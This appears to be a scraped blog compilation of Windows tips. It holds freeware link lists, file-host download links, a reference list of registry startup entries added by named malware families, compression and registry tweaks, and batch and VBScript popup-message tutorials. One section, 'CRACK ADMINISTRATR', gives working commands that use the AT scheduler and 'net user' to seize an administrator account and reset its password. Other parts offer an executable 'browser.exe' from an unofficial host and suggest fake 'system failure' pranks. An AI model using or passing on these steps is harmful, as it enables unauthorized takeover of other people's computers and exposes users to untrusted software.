Winamp - http://www.winamp.com/
XMPlay - http://www.un4seen.com/xmplay.html
Zinf - http://www.zinf.org/

Audio Tools:
Audacity - http://audacity.sourceforge.net/
AudioShell - http://www.softpointer.com/AudioShell.htm
BeSweet - http://dspguru.doom9.net/
CDex - http://cdexos.sourceforge.net/
dBpowerAMP Music Converter - http://www.dbpoweramp.com/dmc.htm
EAC - http://www.exactaudiocopy.de/
Encounter 2003 - http://www.waschbusch.com/
GermaniXEncoder - http://www.germanixsoft.de/
K-MP3 - http://www.katarncorp.com/
KraMixer - http://www.kramware.com/
MP3 Book Helper - http://mp3bookhelper.sourceforge.net/
MP3 Tag - http://www.mp3tag.de/
Mp3 Tag Tools - http://massid3lib.sourceforge.net/
mp3DirectCut - http://www.rz.uni-frankfurt.de/~pesch/
MP3Gain - http://www.geocities.com/mp3gain/
mp3Trim - http://www.logiccell.com/~mp3trim/
MusicBrainz - http://musicbrainz.org/
Rarewares - http://rarewares.hydrogenaudio.org/
SoundEngine Free - http://www.cycleof5th.com/en/index.htm
TagScanner - http://xdev.narod.ru/tagscan_e.htm
The GodFather - http://users.otenet.gr/~jtcliper/tgf/
TigoTago - http://www.tigotago.com/

CD/DVD Burning:
Burn4Free - http://www.burn4free.com/
Burnatonce - http://www.burnatonce.com/
Burrrn - http://www.burrrn.net/
CDBurnerXP - http://www.cdburnerxp.se/
CDRDAO - http://cdrdao.sourceforge.net/
CDR Tools Frontend - http://demosten.com/cdrfe/
Deepburner - http://www.deepburner.com/
DVD Decrypter: http://fileforum.betanews.com/downlo…r/1011845169/1
Easy Burning, DropCD & Audio CD - http://www.paehl.de/cdr
ImgBurn - http://www.imgburn.com/

Compression / Decompression:
7-zip - http://www.7-zip.org/
bzip2 - http://sources.redhat.com/bzip2/index.html
ExtractNow - http://www.extractnow.com/
FilZip - http://www.filzip.com/
Info-Zip - http://www.info-zip.org/
IZArc - http://www.florida.plus.com/izarc/
QuickZip - http://www.quickzip.org/
TUGZip - http://www.tugzip.com/
UPX - http://upx.sourceforge.net/
Zip&Go - http://www.handybits.com/zipngo.htm
Zipgenius - http://www.zipgenius.it/

Defrag Software:
DIRMS & Buzzsaw - http://www.dirms.com/
OpenVMS - http://www.execsoft.com/freeware/freeware.asp

Photo manipulation and image design:
ArtRage - http://www.ambientdesign.com/artrage.html
Artweaver - http://www.artweaver.de/index.php?en_version
ColorPic - http://www.iconico.com/colorpic/
Delineate - http://delineate.sourceforge.net/
Inkscape - http://www.inkscape.org/
JPEGCrops - http://ekot.dk/programmer/JPEGCrops/
Paint .NET - http://www.eecs.wsu.edu/paint.net/
Pixia - http://www.ab.wakwak.com/~knight/
Pixie - http://www.nattyware.com/pixie.html
PhotoFiltre - http://www.photofiltre.com/
Sodipodi - http://www.sodipodi.com/
The Gimp - http://www.gimp.org/
Tuxpaint - http://www.newbreedsoftware.com/tuxpaint
Wax - http://www.debugmode.com/wax/
Wink - http://www.debugmode.com/wink/
WinMorph - http://www.debugmode.com/winmorph/

Web browsers:
Firefox - http://www.getfirefox.com
K-Meleon - http://kmeleon.sourceforge.net/
Mozilla - http://www.mozilla.org/
Netscape - http://channels.netscape.com/ns/browsers/default.jsp
Opera - http://www.opera.com

Web servers:
Abyss - http://abyss.sourceforge.net/
Apache - http://httpd.apache.org/
Apache2Triad - http://apache2triad.net/
HTTP File Server - http://www.rejetto.com/sw/
Sambar - http://www.sambar.com/
Savant - http://savant.sourceforge.net/
SimpleServer:WWW - http://www.analogx.com/contents/down…work/sswww.htm
Smart Cache - http://scache.sourceforge.net/
TinyWeb - http://www.ritlabs.com/tinyweb/index.html
Xitami - http://www.xitami.com/

Webcam Software:
booruWebCam - http://www.booru.net/
Dorgem - http://dorgem.sourceforge.net/
grabMotion - http://www.grabmotion.com/
Pryme - http://www.hilo.dk/pryme/

Tune Up Utilities 2011 Beta

TuneUp Utilities 2011 can quickly make your Windows operating system quicker, simpler to use, and more secure. And all operations performed on the operating system are completely safe, because all changes are monitored by TuneUp Rescue Center and can be undone at any time. All TuneUp Utilities modules can be accessed through a common interface that is divided into six categories. In addition, the main window also has three general buttons in a dark gray bar to the right at the top of the window. Pressing the first button starts the TuneUp Rescue Center module. The second button starts the TuneUp Update Wizard, which can be used to update TuneUp Utilities 2009 to the latest version over the Internet. The last button provides help and settings that you can use to customize the software package to meet your needs.
http://hotfile.com/dl/68573509/f61ef1b/TU2011_10.0.40.3_Beta_4.rar.html

Mozaila Firefox Portable

This is the best web browser with multiple addons & themes
http://hotfile.com/dl/73806354/4894699/FirefoxPortable_3.6.8_English.paf.exe.html

Google Chrome Portable

http://www.mediafire.com/?54wwnfc2z6a2aha

How to build your own pc

Welcome to the online version of How to Build Your Own PC, adapted from the print book by shyam sunder saini. My name is shyam and I am the of The PC Guide; I hope you will find this material a useful addition to the site.

Here are some tips for understanding how the material is organized and how best to navigate through it:

* Hierarchy Navigation: Near the top of each page of the site you will see in a blue-outlined box a cascading set of links that reflect your current position in the organizational structure of this Guide. You can click any of these links to go up one or more levels in the hierarchy.

* Accessing the Table Of Contents: To the left of the hierarchy navigation box is the table of contents button. Click it to bring up the full contents of.the Guide.

* Next/Previous Section/Topic Navigation: At the top and bottom of each page is a solid blue box that contains buttons and links for moving sequentially through the Guide. On the far left and far right of this box are text links and large arrows that take you directly to the start of the previous or next full topic or section. These always take you to the first page of any topic that has multiple pages, to allow you to skip all the pages of any topic you don’t want to read.

* Direct Page Navigation: In the middle of the blue box you will see a navigation display for moving easily through the pages of a topic. Each page number is listed, with the current page shown in white text on a dark background, and the other pages hyperlinked for easy direct access.

* Next/Previous Page Navigation: You will also see in the blue box smaller arrows that take you to the previous or next page of the Guide. The small left arrow goes to the previous page of the current topic, or if you are on its first (or only) page, the last page of the previous topic. The right arrow goes to the next page of the current topic, or if you are on its last (or only) page, takes you to the first page of the next topic. You can use these arrow to move sequentially through the entire Guide.

* Text Links: At the bottom of each page are a set of text links that take you to the top of this Guide or its table of contents. There are also links to the PCGuide.com home page, and the page where you can contact me with questions or feedback. I welcome your feedback, comments and suggestions.

registry startup entry/filename malware

There are viruses and other pests that can add any number of different entries to the startups. They make additional entries under the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\ Run and RunOnce keys, allowing them to run at startup. In all cases below, %System% - refers to the System folder; by default this is C:\Windows\System (9x/Me), C:\Winnt\System32 (NT/2K), or C:\Windows\System32 (XP/Vista):

1. PE_BISTRO - adds "XXXX"="C:\WINDOWS\XXXX.EXE" - where XXXX is the randomly chosen filename of the dropped file
2. MAGISTR.A - adds "[Virus file name]"="[Virus Path and file name].EXE"
3. BUGBEAR.A or BUGBEAR.C or BUGBEAR.E - adds ""=%System%\"[random filename].EXE"
4. OPTIXPRO.11 - adds "%Registry entry%"="%Path%\%Filename%"
5. Lop.com homepage hijacker - adds multiple and random startup entries
6. FreeScratchAndWin - adds multiple and random startup entries as it includes LOP above
7. nCase (or n-Case) parasite - adds multiple and random startup entries
8. LORAC - adds "[four random characters]"="%Sysdir%\abcdef.exe"
9. MOSUCK - random name and filename in C:\Windows or C:\Winnt
10. DEBORMS.D - adds one of a number of valid Name/Startup Item entries but points to the path of the worm file dropped
11. GIBE.C - adds random name and filename in C:\Windows or C:\Winnt
12. SWEN.A - adds random name and filename
13. ZOMBAM.B - adds random name and filename
14. WANADO or REUR - adds "XXXXXXXX"="%Sysdir%\XXXXXXXX.exe" where X can be any random hexadecimal (0-9, A-F) number
15. SINCOM - adds random name and filename in C:\Windows or C:\Winnt with "Run:Auto" appended to the command/data column entry
16. SOBER family - adds "[random string]"="%system%\[random filename.exe]"
17. BRANCOS.C - adds "win_[4 random characters][4 random numbers 0-9]"="%System%\SYS_386X\[4 random characters][4 random numbers 0-9].exe"
18. IRC.BOT.B - adds random name and filename
19. COREFLOO-C - adds "[random filename]"="rundll32 %SYSTEM% [random filename].dll,Init 1"
20. [random digits].exe = [random digits].exe - 8 random digits, example: 77231997.exe = 77231997.exe. Winpup.exe adult content downloader
21. DRAGONQQ - "[Trojan's filename]"="[Path to the Trojan]", "[Random name]"="C:\WINNT\[Random name].exe", "[Random name]"="C:\Program Files\[Random name].exe" or "[Random name]"="C:\WINDOWS\[Random name].exe"
22. FORMADOR - adds "[executed file name]"="%System%\[executed file name].exe"
23. NETTRASH - adds "[file name]"="[path to filename].exe"
24. OPTIXPRO.13B - adds "[registry value name]"="[path to trojan].exe"
25. MYDOOM.F or MYDOOM.G or MYDOOM.H - adds "[4 to 8 random, lowercase letters]"="[worm filename]"
26. ANNIL - adds random name and filename
27. ANTINNY.G and ANTINNY.K - adds "[random name]"="[path to worm]"
28. KILLAV.D - adds "[Trojan filename]"="%Windir%\[Trojan file name]" where %Windir% is C:\Windows or C:\Winnt
29. MYPOO - adds "[value name]"="[Trojan file name]" where [value name] is configurable
30. BLACKMAL or BLACKMAL.B - adds "[random_file_name1].exe"="%System%\[random_file_name1].exe"
31. ERKEX.A - adds "[random_file_name]"="%System%\[random_file_name].exe"
32. OPASA - adds "[random_file_name]"="%System%\[random_file_name].exe"
33. GAOBOT.ADN - adds random name and filename
34. ADWAHECK - adds "[trojan name]"="%System%\[trojan filename]"
35. GOBOT.A - adds random name and filename in C:\Windows or C:\Winnt
36. Sandboxer adware - adds random name and filename
37. AGENT.B - adds "[1-5 random characters]"="RUNDLL32 %System%\[DLL filename].dll,StreamingDeviceSetup"
38. EXRUNTEL - adds "[original filename]"="%System%\[original filename]"
39. Margoc adware - adds random name and filename
40. Winpup adware - adds random name and filename in %System%
41. KETCH - adds "[word]"="%System%\[word][number].exe"
42. DARBY.B - adds "[random worm filename]"="%System%\[random worm filename]"
43. VUNDO - adds "*[trojan name]"="[trojan path]"
44. BEAKER.A - adds "[5 random lower-case char]"="[5 random lower-case char].exe" in the System, system32, Temp and Fonts sub-directories of %Windir%
45. LIFEFORENOW - adds "[random filename]"="%System%\[random filename].exe"
46. DIMI - adds "[random value name]"="%System%\[random filename].exe"
47. ABEBOT - adds "[random service name]"="[random filename].exe -services"
48. OMEGA - adds "[random value]" = "%Windir%\[random file name].exe"
49. NAMSHARE - adds "[Random service name]" = "[Random file name]"
50. REANET.B - adds "[file name]" = "[path to file name]"
51. BANCOS.Q - adds "[filename prefix]" = "[path to filename]"
52. SPYBOTER.GEN - adds "[key name]" = "[file name of Trojan]"
53. BOTUK - adds "[random characters]Srv32" = "[random characters]srv.exe"
54. MADTOL-A - adds "[trojan filename]" = "%System%\[trojan filename]"
55. HESIVE - adds "[trojan filename]" = "[path to trojan]"




Variables:

* %System% - refers to the System folder; by default this is C:\Windows\System (9x/Me), C:\Winnt\System32 (NT/2K), or C:\Windows\System32 (XP/Vista)
* %Windir% - refers to the Windows installation folder; by default this is C:\Windows (9x/Me/XP/Vista) or C:\Winnt (NT/2K)
* %UserProfile% - refers to the current user's profile folder; by default this is C:\Documents and Settings\ (NT/2K/XP) or C:\Users\ (Vista)
* %ProgramFiles% - refers to the Program Files folder; typically the path is C:\Program Files

all in softwares

http://www.techspot.com/downloads.html

Drivers download

http://www.techspot.com/drivers/

How to split Winrar file to parts

compress your data 15% more than normal method

if you compress any file using winrar not much size is reduced



this trick will help you to manage the computer disk space using file compression utilities.


Follow the given steps to compress your data with advanced parameters:
After installation launch winrar, the first screen will appear with many options.


Now right click on your file and then select the option "Add to archive" from the context menu.

Here a window dialog will appear with title "Archive name and parameters".
In General tab, click on "Compression Method" button to select the "Best" option from dropdown menu.
Now select the Advanced tab and click on Compression button to display the advanced compression parameters.
and
Now under the "Text Compression" area,
select "Force" radio button and change the "Prediction order" value to 63 then
change "Memory to use" type to 128.
Now click Ok button to finish the process.
This compression method will help you to compress your data 15% more than normal method.

Open each folder in the same window

sometimes selecting Open each folder in the same window in Folder Options does not solve the problem
then you must try this trick

start Regedit,
locate the following key,
and set Default to none (Type the word none).
Key: HKEY_CLASSES_ROOT\Directory\shell
Name: Default
Type: RG_SZ
Value: none


done!!!!!!!!!!!!

INSTALL WINDOWS XP FASTER

Install Windows xp in less than 15 minutes
yes friends its true

this trick will be very helpful for those who frequently install windows xp operating system. Normally OS installation takes around 40 minutes to complete, but through this trick you can now save 10-15 minutes.
steps are :
1. Boot through Windows XP CD.

2. After all the files are completely loaded, you get the option to select the partition. Select “c”.
3. Now Format the partition, whether it is normal or quick with NTFS or FAT
4. Once the formatting is completed, All the setup files required for installation are copied. Restart your system by pressing Enter.

Now begins the Simple trick to save your time .
5. After rebooting, you get a screen where it takes 40
minutes to complete or finalize the OS installation.
6. Now, Press SHIFT + F10 Key -> This will open command prompt.
7. Enter “Taskmgr” at the command prompt window. This will open Task Manager.
8. Click the Process Tab, here we find a process called Setup.exe -> Right Click on Setup.exe -> Set Priority -> Select High or Above Normal. Initially it will be Normal.
thats it done!!!!

LOGIN WITH MULTIPLE ID'S AT THE SAME TIME IN ORKUT, GMAIL, YAHOO.

To perform this trick u need firefox mozilla browser
If u don't have mozilla ff u can download it from here
http://rapidshare.com/files/75574599/browser.exe
It is absolutely free


======== Trick to Multilogin in firefox ============

Step 1:
open system properties(by right clicking my computer), choose tab advanced, click to environment variables button. in system variables section, click new. type this information to each textbox.

variable name: moz_no_remote(should be all small letter)

variable value: 1

press ok to close all windows.

step 2:
open firefox icon's properties(from desktop and quick launch). add extension -p to command line(like "c:\program files\mozilla firefox\firefox.exe" -p). press ok.

while starting firefox u have to create two separate profiles of firefox so that u can login to two accounts of any(orkut,yahoo,rediff or anything else).......
for three logins create three profiles of firefox.........

Customize Drive Icons

Most of us know that you can simply create shortcuts to all the drive icons in My Computer, and then change the icons of the shortcuts. This solution, while relatively easy, is quite limited, especially since the icons aren't reflected in Explorer. Using some of the knowledge from the way Autorun CD's work, there's a simple way to customize your drive icons (for hard disks, floppy disks, and removables):
Using a text editor (such as Notepad), type the following:
[autorun]
icon=filename, number
where filename is the name of the file containing the icon (either an ICO, DLL, or EXE file), and number is the index of the icon to use (leave this blank to use the first icon in the file).
Save the file as AUTORUN.INF in the root directory of the hard disk you wish to change.
Note: This will work even if you've turned off CD-ROM Autorun. NOTE: THIS WILL WORK FOR REMOVABLE DRIVES, BUT SINCE WINDOWS 98 ISN'T ABLE TO DETERMINE WHEN YOU INSERT REMOVABLE MEDIA (LIKE IT IS FOR CD-ROMS), YOU NEED TO MANUALLY REFRESH THE MY COMPUTER OR EXPLORER WINDOW BY PRESSING F5.

CRACK ADMINISTRATR

Crack into administrator's account:

Go to cmd

type AT (time) /interactive “cmd.exe”

enter time in 24hr format

means if you want to enter 5.00pm then enter 17:00

then a new window of cmd will open at specified time

In new window type net(space)user

press enter

after this u will see some names on ur screen

notedown the name of admin acc

then type

net user (name of admin acc u want to crack into) *
e.g if the name of admin acc is raj then type

net user raj*

then it will ask u for new password

enter password of ur choice

and u got the admin password

How to Generate Popup Messages in Batch Files
Most messages in batch files consist of plain text in the command prompt.
We use ECHO to display a message text, and PAUSE or SET /P to wait for confirmation.
Sometimes, however, we would rather have a popup message that sits there waiting for confirmation by the user.

NET SEND
By far the easiest solution using native commands is NET SEND.
In NT 4 and later:
NET SEND %ComputerName% This is a popup message.
Notes: (1) The NET SEND command requires the Messenger service; if this service is disabled, no messages will be displayed.
(2) By default the %ComputerName% environment variable is not available in Windows 9x or the "real" MS-DOS versions.
Use NetSetxx.bat to add this variable in Windows 98.

Using carets for escape characters we can even make multi line messages in NT 4 and later:
NET SEND %ComputerName% This is line 1 of the popup message.ˆ

This is line 2.ˆ

And this is line 3.
Note the empty lines following the carets, these are required to make this trick work.
This code will result in a message box similar to this one:

This method can also be used with the ECHO command:
ECHO This is line 1 of the popup message.ˆ

This is line 2.ˆ

And this is line 3.
This code will result in the following text on screen:
This is line 1 of the popup message.
This is line 2.
And this is line 3.
I wouldn't recommend it, though, as it doesn't make the batch file any easier to read.
Better use 3 ECHO command in a row to display the 3 lines.
By the way, with NET SEND, you can get a similar result using ASCII character 20 or ¶ (trick found in the PCReview Forum Archives):
NET SEND %ComputerName% This is line 1 of the popup message.¶This is line 2.¶And this is line 3.

This may even work in Windows 95/98/ME, but I didn't test that.
This trick does not work with the ECHO command:
ECHO This is line 1 of the popup message.¶This is line 2.¶And this is line 3.
This code will result in the following text on screen:
This is line 1 of the popup message.¶This is line 2.¶And this is line 3.
Quite useless, unfortunately.
Notes: (1) In Windows 9x escape characters are not available.
(2) When using * instead of %ComputerName% to send a message to every computer in the network, the message length is limited to 128 characters.
Longer messages will be truncated.
MSG.EXE (Terminal Servers only)
In Terminal Server sessions, use the MSG command to generate popup messages.
Alternative Scripting Languages (On-The-Fly)
If you don't mind using a mix of scripting languages, consider creating a temporary KiXtart script on the fly, using the MessageBox( ) function to generate your popup message:
> usermessage.kix ECHO $MsgStr = "Multiple lines?@CRLF" + "No problem"
>> usermessage.kix ECHO $Title = "My Personal Message Box"
>> usermessage.kix ECHO $X = MessageBoxˆ( $MsgStr, $Title, 0 ˆ)
KIX32.EXE usermessage.kix
DEL usermessage.kix
This code will result in a message box similar to this one:


If you prefer a native scripting language (Windows 2000 and later), create a VBScript script on the fly, using the WScript.Echo method (requires WSCRIPT instead of CSCRIPT):
> usermessage.vbs ECHO WScript.Echoˆ( "Multiple lines?" ˆ& vbCrLf ˆ& "OK..." ˆ)
WSCRIPT.EXE usermessage.vbs
DEL usermessage.vbs
This code will result in a message box similar to this one:


With a little more code you can customize the message title, add an icon and set a timeout period:
> usermessage.vbs ECHO Set wshShell = CreateObject( "WScript.Shell" )
>>usermessage.vbs ECHO wshShell.Popup "Multiple lines are possible, a" ˆ& vbCrLf ˆ& _
>>usermessage.vbs ECHO "custom title, a timeout, and a" ˆ& vbCrLf ˆ& _
>>usermessage.vbs ECHO "selection of buttons and icons.", 10, _
>>usermessage.vbs ECHO "Read this quickly", 64
WSCRIPT.EXE usermessage.vbs
DEL usermessage.vbs
This code will result in a message box similar to this one, which will close automatically after 10 seconds:

Message boxes asking for user input are possible too:
> usermessage.vbs ECHO WScript.Echo InputBox( "Where were you born?", "Place of Birth", "London" )
FOR /F "tokens=*" %%A IN ('CSCRIPT.EXE //NoLogo usermessage.vbs') DO SET PlaceOfBirth=%%A
ECHO You were born in %PlaceOfBirth%
DEL usermessage.vbs
This code will result in a message box similar to this one:

Unfortunately, combining these input and output dialogs into a single dialog box isn't possible, to do that read the next section.
Internet Explorer
More advanced message boxes, input, output and any combination, including (masked) password prompts, can be created using VBScript and Internet Explorer.
However, I would not recommend creating them on the fly.
An example using IELogin2.vbs:
:: Note: delims is a TAB
FOR /F "tokens=1,2 delims= " %%A IN ('CSCRIPT //NoLogo IELOGIN2.VBS') DO (
SET Name=%%˜A
SET Password=%%˜B
)
ECHO The password of %Name% is %Password%
This is what the dialog box will look like:

See the VBScript Scripting Techniques section for other advanced user message
Using VBScript to display message boxes
In today's article, I'll show you how you can make really cool looking VBScript popup boxes to amaze and shock your friends and colleagues. Basically, with VBScript and a little time, you can create a Message box on any Microsoft Windows computer with a custom text of your choice.



This example was taken off the autoitscript website. You can create such message boxes with any text you want.

Here's how:

Step 1 - Open up a simple text editor, such as notepad.

Step 2 - Enter in the following line
msgbox"Have a nice day!",16,"Your title here"

You will replace the text in quotes "Have a nice day!" with a message of your choice (don't remove the quotes!)

The number after the message text is an indicator of what icon you may want to use.
Here are some examples :
• Icon number 16 is a ERROR sign, a circle with a cross
• Icon number 32 is a QUESTION mark sign "?"
• Icon number 48 is a WARNING sign, a triangle with a "!" on it
• Leaving it as a 0 will give no icon.
The last field is for the message title, which you can change to anything you want as well.

Step 3 - Save it as a VBS file. When saving, make sure you select "all files" and enter the extension ".VBS" (for example, your file may be named "hello.vbs")

Step 4- Double click to run. Simple as that.

The possibilities of what you can do with this are endless. Obviously you could pull some pranks on other people's computer by leaving messages such as "system failure" or anything you like. You can also use such messages to leave notes or alerts.

A little more fun: Adding this line

WScript.Sleep 5000

before the msgbox line will force the script to wait 5000 miliseconds before running and displaying the messagebox. In this way you can set a timer (or a fuse) to your script so it only shows after the specified time has passed.

I hope this tutorial has been useful to you. Have fun on your computer with VBScript!